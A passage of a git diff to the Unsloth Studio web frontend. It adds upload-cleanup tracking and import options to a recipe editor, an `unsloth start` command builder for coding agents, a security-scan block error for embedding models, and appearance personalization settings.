+  if (!config || config.kind !== "seed") {
+    return null;
+  }
+  const uid = config.unstructured_upload_uid?.trim();
+  if (!uid || !config.unstructured_file_ids?.length) {
+    return null;
+  }
+  return uid;
+}
+
 export const useRecipeStudioStore = create<RecipeStudioState>((set, get) => ({
   ...INITIAL_STATE,
   setSheetOpen: (open) => set({ sheetOpen: open }),
@@ -278,6 +301,12 @@ export const useRecipeStudioStore = create<RecipeStudioState>((set, get) => ({
   setDialogOpen: (open) => set({ dialogOpen: open }),
   setExecutionLocked: (locked) => set({ executionLocked: locked }),
   resetRecipe: () => set(INITIAL_STATE),
+  queueUploadCleanup: (uid) =>
+    set((state) =>
+      state.pendingUploadCleanups.includes(uid)
+        ? state
+        : { pendingUploadCleanups: [...state.pendingUploadCleanups, uid] },
+    ),
   selectConfig: (id) => set({ activeConfigId: id, dialogOpen: false }),
   openConfig: (id) => set({ activeConfigId: id, dialogOpen: true }),
   setLayoutDirection: (direction) =>
@@ -383,7 +412,18 @@ export const useRecipeStudioStore = create<RecipeStudioState>((set, get) => ({
       }
       return buildAddedNodeState(state, "sampler", type, position, openDialog);
     }),
-  addSeedNode: (type, position, openDialog = true) =>
+  addSeedNode: (type, position, openDialog = true) => {
+    const current = get();
+    if (!current.executionLocked) {
+      // The reset below clears the block's upload uid and file list; queue
+      // its server-side directory for deletion after the next save.
+      const uid = seedUploadCleanupUid(
+        Object.values(current.configs).find((config) => config.kind === "seed"),
+      );
+      if (uid) {
+        current.queueUploadCleanup(uid);
+      }
+    }
     set((state) => {
       if (state.executionLocked) {
         return state;
@@ -413,6 +453,8 @@ export const useRecipeStudioStore = create<RecipeStudioState>((set, get) => ({
         hf_token: "",
         hf_endpoint: "https://huggingface.co",
         local_file_name: "",
+        unstructured_upload_uid:
+          nextSourceType === "unstructured" ? makeUnstructuredUploadUid() : "",
         unstructured_file_ids: [],
         unstructured_file_names: [],
         unstructured_file_sizes: [],
@@ -446,7 +488,8 @@ export const useRecipeStudioStore = create<RecipeStudioState>((set, get) => ({
         activeConfigId: existing.id,
         dialogOpen: openDialog,
       };
-    }),
+    });
+  },
   addLlmNode: (type, position, openDialog = true) =>
     set((state) => {
       if (state.executionLocked) {
@@ -699,6 +742,9 @@ export const useRecipeStudioStore = create<RecipeStudioState>((set, get) => ({
       dialogOpen: false,
       sheetView: "root",
       fitViewTick: state.fitViewTick + 1,
+      // Queued cleanups belong to the previous recipe; draining them after
+      // a save of this one could delete files its saved payload still uses.
+      pendingUploadCleanups: [],
     })),
   setAuxNodePosition: (id, position) =>
     set((state) => {
@@ -786,6 +832,17 @@ export const useRecipeStudioStore = create<RecipeStudioState>((set, get) => ({
     set(applyUpdate);
   },
   onNodesChange: (changes) => {
+    const current = get();
+    if (!current.executionLocked) {
+      for (const change of changes) {
+        if (change.type === "remove") {
+          const uid = seedUploadCleanupUid(current.configs[change.id]);
+          if (uid) {
+            current.queueUploadCleanup(uid);
+          }
+        }
+      }
+    }
     const applyNodesChange = (state: RecipeStudioState) => {
       if (state.executionLocked) {
         return state;
diff --git a/studio/frontend/src/features/recipe-studio/types/index.ts b/studio/frontend/src/features/recipe-studio/types/index.ts
index b8ed13f70b..9231c5f7a3 100644
--- a/studio/frontend/src/features/recipe-studio/types/index.ts
+++ b/studio/frontend/src/features/recipe-studio/types/index.ts
@@ -340,6 +340,8 @@ export type SeedConfig = {
   hf_token?: string;
   hf_endpoint?: string;
   local_file_name?: string;
+  // ui-only: stable per-block id for uploads, since node ids collide across imports
+  unstructured_upload_uid?: string;
   unstructured_file_ids?: string[];
   unstructured_file_names?: string[];
   unstructured_file_sizes?: number[];
diff --git a/studio/frontend/src/features/recipe-studio/utils/config-factories.ts b/studio/frontend/src/features/recipe-studio/utils/config-factories.ts
index 76fc2c38ee..d47bac8858 100644
--- a/studio/frontend/src/features/recipe-studio/utils/config-factories.ts
+++ b/studio/frontend/src/features/recipe-studio/utils/config-factories.ts
@@ -20,6 +20,46 @@ import type {
 } from "../types";
 import { nextName } from "./naming";
 
+export function makeUnstructuredUploadUid(): string {
+  if (typeof globalThis.crypto?.randomUUID === "function") {
+    return globalThis.crypto.randomUUID().replace(/-/g, "").toLowerCase();
+  }
+  if (typeof globalThis.crypto?.getRandomValues === "function") {
+    const bytes = new Uint8Array(16);
+    globalThis.crypto.getRandomValues(bytes);
+    return Array.from(bytes, (byte) => byte.toString(16).padStart(2, "0")).join(
+      "",
+    );
+  }
+  let uid = "";
+  while (uid.length < 32) {
+    uid += Math.floor(Math.random() * 0x100000000)
+      .toString(16)
+      .padStart(8, "0");
+  }
+  return uid.slice(0, 32);
+}
+
+export function resolveUnstructuredUploadBlockId({
+  configId,
+  uploadUid,
+  generatedUploadUid,
+  unstructuredFileCount,
+}: {
+  configId: string;
+  uploadUid: string;
+  generatedUploadUid: string | null;
+  unstructuredFileCount: number;
+}): string {
+  if (uploadUid) {
+    return uploadUid;
+  }
+  if (generatedUploadUid) {
+    return generatedUploadUid;
+  }
+  return unstructuredFileCount > 0 ? configId : "";
+}
+
 export function makeSamplerConfig(
   id: string,
   samplerType: SamplerType,
@@ -368,6 +408,9 @@ export function makeSeedConfig(
     hf_token: "",
     hf_endpoint: "https://huggingface.co",
     local_file_name: "",
+    ...(seedSourceType === "unstructured"
+      ? { unstructured_upload_uid: makeUnstructuredUploadUid() }
+      : {}),
     unstructured_file_ids: [],
     unstructured_file_names: [],
     unstructured_file_sizes: [],
diff --git a/studio/frontend/src/features/recipe-studio/utils/import/importer.ts b/studio/frontend/src/features/recipe-studio/utils/import/importer.ts
index ac881d0373..54df2ffd50 100644
--- a/studio/frontend/src/features/recipe-studio/utils/import/importer.ts
+++ b/studio/frontend/src/features/recipe-studio/utils/import/importer.ts
@@ -16,11 +16,7 @@ import type {
 } from "../../types";
 import { buildEdges } from "./edges";
 import { isRecord, parseJson, readString } from "./helpers";
-import {
-  parseColumn,
-  parseModelConfig,
-  parseModelProvider,
-} from "./parsers";
+import { parseColumn, parseModelConfig, parseModelProvider } from "./parsers";
 import { parseSeedConfig } from "./parsers/seed-config-parser";
 import { buildNodes, parseUi } from "./ui";
 import type { ImportResult } from "./types";
@@ -43,6 +39,7 @@ type UiInput = {
   seed_drop_columns?: unknown;
   seed_preview_rows?: unknown;
   local_file_name?: unknown;
+  unstructured_upload_uid?: unknown;
   unstructured_file_ids?: unknown;
   unstructured_file_names?: unknown;
   unstructured_file_sizes?: unknown;
@@ -51,6 +48,10 @@ type UiInput = {
   advanced_open_by_node?: unknown;
 };
 
+type ImportRecipePayloadOptions = {
+  preserveUnstructuredUploads?: boolean;
+};
+
 type UiMarkdownNoteNode = {
   name: string;
   markdown: string;
@@ -90,7 +91,7 @@ function parseProcessors(input: unknown): RecipeProcessorConfig[] {
         ? templateRaw
         : isRecord(templateRaw)
           ? JSON.stringify(templateRaw, null, 2)
-          : "{\n  \"text\": \"{{ column_name }}\"\n}";
+          : '{\n  "text": "{{ column_name }}"\n}';
     processors.push({
       id: `p${index + 1}`,
       // biome-ignore lint/style/useNamingConvention: api schema
@@ -135,9 +136,7 @@ function parseSeedDropColumns(input: unknown): string[] {
   return Array.from(values);
 }
 
-function parseMcpProviders(
-  input: unknown,
-): Map<string, LlmMcpProviderConfig> {
+function parseMcpProviders(input: unknown): Map<string, LlmMcpProviderConfig> {
   const providers = new Map<string, LlmMcpProviderConfig>();
   if (!Array.isArray(input)) {
     return providers;
@@ -156,13 +155,12 @@ function parseMcpProviders(
     const args = Array.isArray(item.args)
       ? item.args.map((value) => String(value))
       : [];
-    const envPairs =
-      isRecord(item.env)
-        ? Object.entries(item.env).map(([key, value]) => ({
-            key: String(key),
-            value: String(value),
-          }))
-        : [];
+    const envPairs = isRecord(item.env)
+      ? Object.entries(item.env).map(([key, value]) => ({
+          key: String(key),
+          value: String(value),
+        }))
+      : [];
     providers.set(name, {
       id: `mcp-${index + 1}`,
       name,
@@ -209,7 +207,8 @@ function parseToolConfigs(input: unknown): Map<string, LlmToolConfig> {
       allow_tools: allowTools,
       // biome-ignore lint/style/useNamingConvention: api schema
       max_tool_call_turns:
-        item.max_tool_call_turns === null || item.max_tool_call_turns === undefined
+        item.max_tool_call_turns === null ||
+        item.max_tool_call_turns === undefined
           ? "5"
           : String(item.max_tool_call_turns),
       // biome-ignore lint/style/useNamingConvention: api schema
@@ -257,7 +256,9 @@ function parseUiMarkdownNoteNodes(input: unknown): UiMarkdownNoteNode[] {
   return noteNodes;
 }
 
-function parseUiToolProfileNodes(input: unknown): Map<string, Record<string, string[]>> {
+function parseUiToolProfileNodes(
+  input: unknown,
+): Map<string, Record<string, string[]>> {
   const toolProfiles = new Map<string, Record<string, string[]>>();
   if (!Array.isArray(input)) {
     return toolProfiles;
@@ -312,9 +313,15 @@ function parseAdvancedOpenByNode(input: unknown): Record<string, boolean> {
   return out;
 }
 
-type AdvancedOpenConfig = LlmConfig | SamplerConfig | SeedConfig | ValidatorConfig;
+type AdvancedOpenConfig =
+  | LlmConfig
+  | SamplerConfig
+  | SeedConfig
+  | ValidatorConfig;
 
-function isAdvancedOpenConfig(config: NodeConfig): config is AdvancedOpenConfig {
+function isAdvancedOpenConfig(
+  config: NodeConfig,
+): config is AdvancedOpenConfig {
   return (
     config.kind === "llm" ||
     config.kind === "sampler" ||
@@ -350,7 +357,8 @@ function buildToolProfileConfig(
       .map((providerName) => mcpProvidersByName.get(providerName))
       .flatMap((provider) => (provider ? [cloneMcpProvider(provider)] : [])),
     // biome-ignore lint/style/useNamingConvention: ui schema
-    fetched_tools_by_provider: fetchedToolsByProfileName.get(canonical.tool_alias) ?? {},
+    fetched_tools_by_provider:
+      fetchedToolsByProfileName.get(canonical.tool_alias) ?? {},
     // biome-ignore lint/style/useNamingConvention: api schema
     allow_tools: [...(canonical.allow_tools ?? [])],
     // biome-ignore lint/style/useNamingConvention: api schema
@@ -360,7 +368,10 @@ function buildToolProfileConfig(
   };
 }
 
-export function importRecipePayload(input: string): ImportResult {
+export function importRecipePayload(
+  input: string,
+  options: ImportRecipePayloadOptions = {},
+): ImportResult {
   const parsed = parseJson(input);
   if (!parsed.data || !isRecord(parsed.data)) {
     return {
@@ -369,9 +380,9 @@ export function importRecipePayload(input: string): ImportResult {
     };
   }
 
-  const recipe = (isRecord(parsed.data.recipe)
-    ? parsed.data.recipe
-    : parsed.data) as RecipeInput;
+  const recipe = (
+    isRecord(parsed.data.recipe) ? parsed.data.recipe : parsed.data
+  ) as RecipeInput;
   const ui = isRecord(parsed.data.ui) ? (parsed.data.ui as UiInput) : null;
 
   if (!Array.isArray(recipe.columns)) {
@@ -410,21 +421,36 @@ export function importRecipePayload(input: string): ImportResult {
         .map((row) => ({ ...row }))
     : undefined;
   const uiLocalFileName = readString(ui?.local_file_name) ?? undefined;
-  // Preserve file IDs/names from saved recipes (cleared at share time by sanitizeSeedForShare)
-  const uiUnstructuredFileIds: string[] = Array.isArray(ui?.unstructured_file_ids)
-    ? (ui.unstructured_file_ids as string[]).filter((v): v is string => typeof v === "string")
-    : [];
-  const uiUnstructuredFileNames: string[] = Array.isArray(ui?.unstructured_file_names)
-    ? (ui.unstructured_file_names as string[]).filter((v): v is string => typeof v === "string")
-    : [];
-  const uiUnstructuredFileSizes: number[] = Array.isArray(ui?.unstructured_file_sizes)
-    ? (ui.unstructured_file_sizes as number[]).filter((v): v is number => typeof v === "number")
-    : [];
+  const preserveUnstructuredUploads =
+    options.preserveUnstructuredUploads === true;
+  const uiUnstructuredUploadUid = preserveUnstructuredUploads
+    ? (readString(ui?.unstructured_upload_uid) ?? undefined)
+    : undefined;
+  const uiUnstructuredFileIds: string[] =
+    preserveUnstructuredUploads && Array.isArray(ui?.unstructured_file_ids)
+      ? (ui.unstructured_file_ids as string[]).filter(
+          (v): v is string => typeof v === "string",
+        )
+      : [];
+  const uiUnstructuredFileNames: string[] =
+    preserveUnstructuredUploads && Array.isArray(ui?.unstructured_file_names)
+      ? (ui.unstructured_file_names as string[]).filter(
+          (v): v is string => typeof v === "string",
+        )
+      : [];
+  const uiUnstructuredFileSizes: number[] =
+    preserveUnstructuredUploads && Array.isArray(ui?.unstructured_file_sizes)
+      ? (ui.unstructured_file_sizes as number[]).filter(
+          (v): v is number => typeof v === "number",
+        )
+      : [];
   const uiUnstructuredChunkSize = readStringNumber(ui?.unstructured_chunk_size);
   const uiUnstructuredChunkOverlap = readStringNumber(
     ui?.unstructured_chunk_overlap,
   );
-  const uiAdvancedOpenByNode = parseAdvancedOpenByNode(ui?.advanced_open_by_node);
+  const uiAdvancedOpenByNode = parseAdvancedOpenByNode(
+    ui?.advanced_open_by_node,
+  );
   const uiMarkdownNotes = parseUiMarkdownNoteNodes(ui?.nodes);
   const uiToolProfilesByName = parseUiToolProfileNodes(ui?.nodes);
 
@@ -459,11 +485,13 @@ export function importRecipePayload(input: string): ImportResult {
           : payloadSeedDropColumns,
       seed_preview_rows: uiSeedPreviewRows,
       local_file_name: uiLocalFileName,
+      unstructuredUploadUid: uiUnstructuredUploadUid,
       unstructuredFileIds: uiUnstructuredFileIds,
       unstructuredFileNames: uiUnstructuredFileNames,
       unstructuredFileSizes: uiUnstructuredFileSizes,
       unstructured_chunk_size: uiUnstructuredChunkSize,
       unstructured_chunk_overlap: uiUnstructuredChunkOverlap,
+      preserveUnstructuredUploads,
     });
     if (seedConfig) {
       applyAdvancedOpen(seedConfig, uiAdvancedOpenByNode);
@@ -567,12 +595,7 @@ export function importRecipePayload(input: string): ImportResult {
   const { layouts, auxNodes, edges: uiEdges, layoutDirection } = parseUi(ui);
   const resolvedLayoutDirection = layoutDirection ?? "LR";
   const nodes = buildNodes(configs, layouts);
-  const edges = buildEdges(
-    configs,
-    nameToId,
-    uiEdges,
-    resolvedLayoutDirection,
-  );
+  const edges = buildEdges(configs, nameToId, uiEdges, resolvedLayoutDirection);
   const auxNodePositions = Object.fromEntries(
     auxNodes.flatMap((item) => {
       const llmId = nameToId.get(item.llm);
@@ -583,10 +606,7 @@ export function importRecipePayload(input: string): ImportResult {
     }),
   );
 
-  const maxY = nodes.reduce(
-    (acc, node) => Math.max(acc, node.position.y),
-    0,
-  );
+  const maxY = nodes.reduce((acc, node) => Math.max(acc, node.position.y), 0);
 
   return {
     errors: [],
diff --git a/studio/frontend/src/features/recipe-studio/utils/import/parsers/seed-config-parser.ts b/studio/frontend/src/features/recipe-studio/utils/import/parsers/seed-config-parser.ts
index 21eadb3195..939205fe6d 100644
--- a/studio/frontend/src/features/recipe-studio/utils/import/parsers/seed-config-parser.ts
+++ b/studio/frontend/src/features/recipe-studio/utils/import/parsers/seed-config-parser.ts
@@ -197,17 +197,26 @@ export function parseSeedConfig(
     seed_drop_columns?: string[];
     seed_preview_rows?: Record<string, unknown>[];
     local_file_name?: string;
+    unstructuredUploadUid?: string;
     unstructuredFileIds?: string[];
     unstructuredFileNames?: string[];
     unstructuredFileSizes?: number[];
     unstructured_chunk_size?: string;
     unstructured_chunk_overlap?: string;
+    preserveUnstructuredUploads?: boolean;
   },
 ): SeedConfig | null {
   if (!seedConfigRaw) {
     return null;
   }
-  const parsed = parseSeedSettings(seedConfigRaw);
+  const parsed = { ...parseSeedSettings(seedConfigRaw) };
+  if (
+    parsed.seed_source_type === "unstructured" &&
+    options?.preserveUnstructuredUploads !== true
+  ) {
+    parsed.hf_path = "";
+    parsed.resolved_paths = [];
+  }
   let sourceType: SeedSourceType = "hf";
   if (parsed.seed_source_type === "hf") {
     sourceType = "hf";
@@ -230,6 +239,9 @@ export function parseSeedConfig(
     ...(options?.local_file_name !== undefined
       ? { local_file_name: options.local_file_name }
       : {}),
+    ...(options?.unstructuredUploadUid
+      ? { unstructured_upload_uid: options.unstructuredUploadUid }
+      : {}),
     ...(options?.unstructuredFileIds !== undefined
       ? { unstructured_file_ids: options.unstructuredFileIds }
       : {}),
diff --git a/studio/frontend/src/features/recipe-studio/utils/payload/build-payload.ts b/studio/frontend/src/features/recipe-studio/utils/payload/build-payload.ts
index 34c3c34274..9b2ad5b2b5 100644
--- a/studio/frontend/src/features/recipe-studio/utils/payload/build-payload.ts
+++ b/studio/frontend/src/features/recipe-studio/utils/payload/build-payload.ts
@@ -440,6 +440,9 @@ export function buildRecipePayload(
             unstructured_file_names: firstSeed.unstructured_file_names,
             unstructured_file_sizes: firstSeed.unstructured_file_sizes,
           }),
+        ...(firstSeed?.unstructured_upload_uid?.trim() && {
+          unstructured_upload_uid: firstSeed.unstructured_upload_uid,
+        }),
         ...(firstSeed &&
           firstSeed.unstructured_chunk_size !== undefined && {
             unstructured_chunk_size: firstSeed.unstructured_chunk_size,
diff --git a/studio/frontend/src/features/recipe-studio/utils/payload/types.ts b/studio/frontend/src/features/recipe-studio/utils/payload/types.ts
index 902ea796b4..763e68c1fb 100644
--- a/studio/frontend/src/features/recipe-studio/utils/payload/types.ts
+++ b/studio/frontend/src/features/recipe-studio/utils/payload/types.ts
@@ -71,6 +71,8 @@ export type RecipePayload = {
     seed_preview_rows?: Record<string, unknown>[];
     local_file_name?: string;
     // biome-ignore lint/style/useNamingConvention: api schema
+    unstructured_upload_uid?: string;
+    // biome-ignore lint/style/useNamingConvention: api schema
     unstructured_file_ids?: string[];
     // biome-ignore lint/style/useNamingConvention: api schema
     unstructured_file_names?: string[];
diff --git a/studio/frontend/src/features/settings/api/coding-agents.ts b/studio/frontend/src/features/settings/api/coding-agents.ts
new file mode 100644
index 0000000000..ae371b2d3a
--- /dev/null
+++ b/studio/frontend/src/features/settings/api/coding-agents.ts
@@ -0,0 +1,45 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { authFetch } from "@/features/auth";
+import { readFastApiError } from "@/lib/format-fastapi-error";
+
+export type CodingAgentsInfo = {
+  // Every agent `unsloth start` supports, in the CLI's declared order.
+  agents: string[];
+  // Subset of `agents` whose CLI binary was found on PATH by the backend.
+  detected: string[];
+};
+
+type ApiCodingAgentsInfo = {
+  agents: string[];
+  detected: string[];
+};
+
+// Which CLIs are on PATH is environment state, not a persisted setting -- it
+// can change any time the user installs something new, so this only
+// de-duplicates concurrent in-flight calls (e.g. React strict-mode's double
+// mount) rather than caching the result across the module's lifetime. Every
+// fresh call (each time a settings panel mounts) re-checks PATH for real.
+let inFlightInfo: Promise<CodingAgentsInfo> | null = null;
+
+function fromApi(info: ApiCodingAgentsInfo): CodingAgentsInfo {
+  return { agents: info.agents, detected: info.detected };
+}
+
+async function fetchCodingAgents(): Promise<CodingAgentsInfo> {
+  const res = await authFetch("/api/settings/coding-agents");
+  if (!res.ok) {
+    throw new Error(
+      await readFastApiError(res, "Failed to load installed coding agents"),
+    );
+  }
+  return fromApi(await res.json());
+}
+
+export async function loadCodingAgents(): Promise<CodingAgentsInfo> {
+  inFlightInfo ??= fetchCodingAgents().finally(() => {
+    inFlightInfo = null;
+  });
+  return inFlightInfo;
+}
diff --git a/studio/frontend/src/features/settings/api/embedding-model.ts b/studio/frontend/src/features/settings/api/embedding-model.ts
index 8b6bc7ee7f..9a61142f73 100644
--- a/studio/frontend/src/features/settings/api/embedding-model.ts
+++ b/studio/frontend/src/features/settings/api/embedding-model.ts
@@ -23,6 +23,10 @@ type ApiEmbeddingModelSettings = {
  * (wrong type, gated repo, or offline). Retry with force to save anyway. */
 export class EmbeddingModelVerificationError extends Error {}
 
+/** 403 from the backend: the repo is flagged unsafe by Hugging Face's security scan.
+ * A hard block; force cannot bypass it, so it must not enter the "save anyway" flow. */
+export class EmbeddingModelBlockedError extends Error {}
+
 function fromApi(settings: ApiEmbeddingModelSettings): EmbeddingModelSettings {
   return {
     embeddingModel: settings.embedding_model,
@@ -56,6 +60,11 @@ export async function updateEmbeddingModelSettings(
       force: options?.force ?? false,
     }),
   });
+  if (res.status === 403) {
+    throw new EmbeddingModelBlockedError(
+      await readFastApiError(res, "This model is blocked by a security scan"),
+    );
+  }
   if (res.status === 409) {
     throw new EmbeddingModelVerificationError(
       await readFastApiError(res, "Could not verify the embedding model"),
diff --git a/studio/frontend/src/features/settings/api/personalization.ts b/studio/frontend/src/features/settings/api/personalization.ts
index 829e8249bb..7355b6fd0b 100644
--- a/studio/frontend/src/features/settings/api/personalization.ts
+++ b/studio/frontend/src/features/settings/api/personalization.ts
@@ -3,17 +3,21 @@
 
 import { authFetch } from "@/features/auth";
 import { readFastApiError } from "@/lib/format-fastapi-error";
+import type { AppearanceCustomization } from "../stores/appearance-custom-store";
 
 export type PersonalizationProfile = {
   displayName: string;
   nickname: string;
   avatarDataUrl: string | null;
   avatarShape: "circle" | "rounded";
+  showGreetingSloth: boolean;
 };
 
 export type PersonalizationAppearance = {
   theme: "light" | "dark" | "system";
+  palette: "standard" | "classic" | "minimal";
   language: string | null;
+  customization: AppearanceCustomization;
 };
 
 export type Personalization = {
@@ -22,18 +26,28 @@ export type Personalization = {
   appearance: PersonalizationAppearance;
   // Distinguishes server hydrate from first local migration.
   saved: boolean;
+  // False when the stored record predates these fields (legacy migration): the
+  // client then keeps local values instead of the server-filled defaults.
+  customizationSaved: boolean;
+  paletteSaved: boolean;
+  greetingSlothSaved: boolean;
 };
 
 export async function loadPersonalization(): Promise<Personalization> {
   const res = await authFetch("/api/settings/personalization");
   if (!res.ok) {
-    throw new Error(await readFastApiError(res, "Failed to load personalization"));
+    throw new Error(
+      await readFastApiError(res, "Failed to load personalization"),
+    );
   }
   return (await res.json()) as Personalization;
 }
 
 export async function savePersonalization(
-  data: Omit<Personalization, "saved">,
+  data: Omit<
+    Personalization,
+    "saved" | "customizationSaved" | "paletteSaved" | "greetingSlothSaved"
+  >,
 ): Promise<void> {
   const res = await authFetch("/api/settings/personalization", {
     method: "PUT",
@@ -41,6 +55,8 @@ export async function savePersonalization(
     body: JSON.stringify(data),
   });
   if (!res.ok) {
-    throw new Error(await readFastApiError(res, "Failed to save personalization"));
+    throw new Error(
+      await readFastApiError(res, "Failed to save personalization"),
+    );
   }
 }
diff --git a/studio/frontend/src/features/settings/components/agent-command.ts b/studio/frontend/src/features/settings/components/agent-command.ts
new file mode 100644
index 0000000000..38b2d73c3b
--- /dev/null
+++ b/studio/frontend/src/features/settings/components/agent-command.ts
@@ -0,0 +1,73 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+// Build the `unsloth start <agent>` command for the API-keys panel.
+// `unsloth start` reads UNSLOTH_STUDIO_URL (default 127.0.0.1:8888) and only
+// auto-mints a key for a loopback server, so the bare command is correct only for
+// the default local server. For a non-default port or tunnel/remote base, emit the
+// URL (plus a key for non-loopback) so the copy targets what the UI shows.
+
+const DEFAULT_STUDIO_PORT = "8888";
+const DEFAULT_AGENT = "claude";
+
+// URL.hostname brackets IPv6 literals (`new URL("http://[::1]:8888").hostname` is
+// "[::1]"), so strip the brackets before matching the bare "::1" loopback rules below.
+export function normalizeHost(host: string): string {
+  const lower = host.toLowerCase();
+  return lower.startsWith("[") && lower.endsWith("]") ? lower.slice(1, -1) : lower;
+}
+
+// The bare `unsloth start` probes exactly http://127.0.0.1:8888, so only that literal
+// host earns the bare command. `localhost` can resolve to ::1 (and `::1` is never
+// probed), so both keep an explicit UNSLOTH_STUDIO_URL -- harmless when they alias
+// 127.0.0.1, correct when they don't.
+function isDefaultLocalHost(host: string): boolean {
+  return host === "127.0.0.1";
+}
+
+// Match the CLI auto-mint rule (is_loopback_url): localhost, ::1, and all of 127.0.0.0/8.
+export function isLoopbackHost(host: string): boolean {
+  if (host === "localhost" || host === "::1") return true;
+  const octets = host.split(".");
+  return (
+    octets.length === 4 &&
+    octets[0] === "127" &&
+    octets.every((o) => /^\d{1,3}$/.test(o) && Number(o) <= 255)
+  );
+}
+
+export function buildAgentCommand(
+  base: string | null | undefined,
+  key: string | null | undefined,
+  os: "unix" | "windows",
+  agent: string = DEFAULT_AGENT,
+): string {
+  const bare = `unsloth start ${agent}`;
+
+  let url: URL | null = null;
+  try {
+    if (base) url = new URL(base);
+  } catch {
+    url = null;
+  }
+  // Unknown base: fall back to the bare default-local command.
+  if (!url) return bare;
+
+  const host = normalizeHost(url.hostname);
+  const loopback = isLoopbackHost(host);
+  // Default local server (http://127.0.0.1/localhost:8888): bare command
+  // auto-discovers it. The CLI's bare default probes plain HTTP, so an HTTPS
+  // loopback on the same port must keep its explicit UNSLOTH_STUDIO_URL.
+  if (url.protocol === "http:" && isDefaultLocalHost(host) && url.port === DEFAULT_STUDIO_PORT) {
+    return bare;
+  }
+
+  // Non-default server: set the URL; non-loopback also needs an explicit key.
+  let cmd = bare;
+  if (!loopback && key) cmd += ` --api-key ${key}`;
+
+  const studioUrl = url.origin;
+  return os === "windows"
+    ? `$env:UNSLOTH_STUDIO_URL="${studioUrl}"; ${cmd}`
+    : `UNSLOTH_STUDIO_URL=${studioUrl} ${cmd}`;
+}
diff --git a/studio/frontend/src/features/settings/components/api-monitor-console.tsx b/studio/frontend/src/features/settings/components/api-monitor-console.tsx
index 36d09115ae..ef4daa1349 100644
--- a/studio/frontend/src/features/settings/components/api-monitor-console.tsx
+++ b/studio/frontend/src/features/settings/components/api-monitor-console.tsx
@@ -80,7 +80,7 @@ function UsageBar({ value }: { value?: number | null }): ReactElement | null {
   return (
     <div className="mt-2 h-1.5 w-full overflow-hidden rounded-full bg-muted">
       <div
-        className="h-full rounded-full bg-primary"
+        className="h-full rounded-full bg-control-accent"
         style={{ width: `${pct}%` }}
       />
     </div>
@@ -111,7 +111,7 @@ function MonitorEntry({
   const reply = replyText || (entry.status === "running" ? "Waiting..." : "No reply");
 
   return (
-    <article className="rounded-lg border border-border/70 bg-background">
+    <article className="min-w-0 rounded-lg border border-border/70 bg-background">
       <button
         type="button"
         onClick={onToggle}
diff --git a/studio/frontend/src/features/settings/components/appearance-custom-controls.tsx b/studio/frontend/src/features/settings/components/appearance-custom-controls.tsx
new file mode 100644
index 0000000000..bd5459f88f
--- /dev/null
+++ b/studio/frontend/src/features/settings/components/appearance-custom-controls.tsx
@@ -0,0 +1,973 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { Button } from "@/components/ui/button";
+import {
+  Command,
+  CommandEmpty,
+  CommandGroup,
+  CommandInput,
+  CommandItem,
+  CommandList,
+} from "@/components/ui/command";
+import { Input } from "@/components/ui/input";
+import {
+  Popover,
+  PopoverContent,
+  PopoverTrigger,
+} from "@/components/ui/popover";
+import { Slider } from "@/components/ui/slider";
+import { Switch } from "@/components/ui/switch";
+import { type TranslationKey, useT } from "@/i18n";
+import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
+import { toast } from "@/lib/toast";
+import { cn } from "@/lib/utils";
+import {
+  Cancel01Icon,
+  Folder01Icon,
+  Upload01Icon,
+} from "@hugeicons/core-free-icons";
+import { HugeiconsIcon } from "@hugeicons/react";
+import { motion, useReducedMotionConfig } from "motion/react";
+import {
+  useEffect,
+  useRef,
+  useState,
+  useSyncExternalStore,
+} from "react";
+import {
+  CODE_FONT_SIZE_RANGE,
+  type CustomModeColors,
+  DEFAULT_CUSTOMIZATION,
+  MAX_IMPORTED_FONTS,
+  MAX_TOTAL_IMPORTED_FONT_DATA_URL_LENGTH,
+  type ReduceMotionSetting,
+  UI_FONT_SIZE_RANGE,
+  isDefaultCustomization,
+  useAppearanceCustomStore,
+} from "../stores/appearance-custom-store";
+import {
+  type Palette,
+  type ResolvedTheme,
+  usePalette,
+  useTheme,
+} from "../stores/theme-store";
+import { ColorPickerSwatch } from "./color-picker";
+
+/* ------------------------------- Colors -------------------------------- */
+
+// Seed values shown in the pickers while no override is set. Mirrors the
+// palette token values in index.css (foregrounds converted from oklch).
+type DefaultModeColors = { [K in keyof CustomModeColors]: string };
+const PALETTE_DEFAULT_COLORS: Record<
+  Palette,
+  Record<ResolvedTheme, DefaultModeColors>
+> = {
+  standard: {
+    light: { accent: "#17b88b", background: "#fefefd", foreground: "#262626" },
+    dark: { accent: "#17b88b", background: "#181818", foreground: "#ececec" },
+  },
+  classic: {
+    light: { accent: "#339cff", background: "#ffffff", foreground: "#1a1c1f" },
+    dark: { accent: "#4dabff", background: "#181818", foreground: "#ececec" },
+  },
+  minimal: {
+    light: { accent: "#171717", background: "#ffffff", foreground: "#171717" },
+    dark: { accent: "#ededed", background: "#181818", foreground: "#ededed" },
+  },
+};
+
+/**
+ * Color override control for the CURRENTLY ACTIVE resolved mode. Only the
+ * active mode is editable; the other mode's overrides stay stored and take
+ * effect when the color scheme flips.
+ */
+export function ActiveColorControl({
+  colorKey,
+  label,
+}: {
+  colorKey: keyof CustomModeColors;
+  label: string;
+}) {
+  const t = useT();
+  const { resolved } = useTheme();
+  const { palette } = usePalette();
+  const override = useAppearanceCustomStore(
+    (s) => s.customization.colors[resolved][colorKey],
+  );
+  const setColor = useAppearanceCustomStore((s) => s.setColor);
+  const fallback = PALETTE_DEFAULT_COLORS[palette][resolved][colorKey];
+  const value = override ?? fallback;
+  return (
+    <div className="flex items-center gap-2">
+      {override !== null && (
+        <Button
+          type="button"
+          variant="ghost"
+          size="sm"
+          className="h-7 px-2 text-xs text-muted-foreground"
+          onClick={() => setColor(resolved, colorKey, null)}
+        >
+          {t("settings.appearance.custom.reset")}
+        </Button>
+      )}
+      <ColorPickerSwatch
+        value={value}
+        onChange={(hex) => setColor(resolved, colorKey, hex)}
+        label={label}
+      />
+    </div>
+  );
+}
+
+/* ------------------------------ Typography ------------------------------ */
+
+/** Font each slot resolves to when no override is set (see index.css). */
+const DEFAULT_FONT_NAMES = {
+  ui: "Inter Variable",
+  heading: "Hellix",
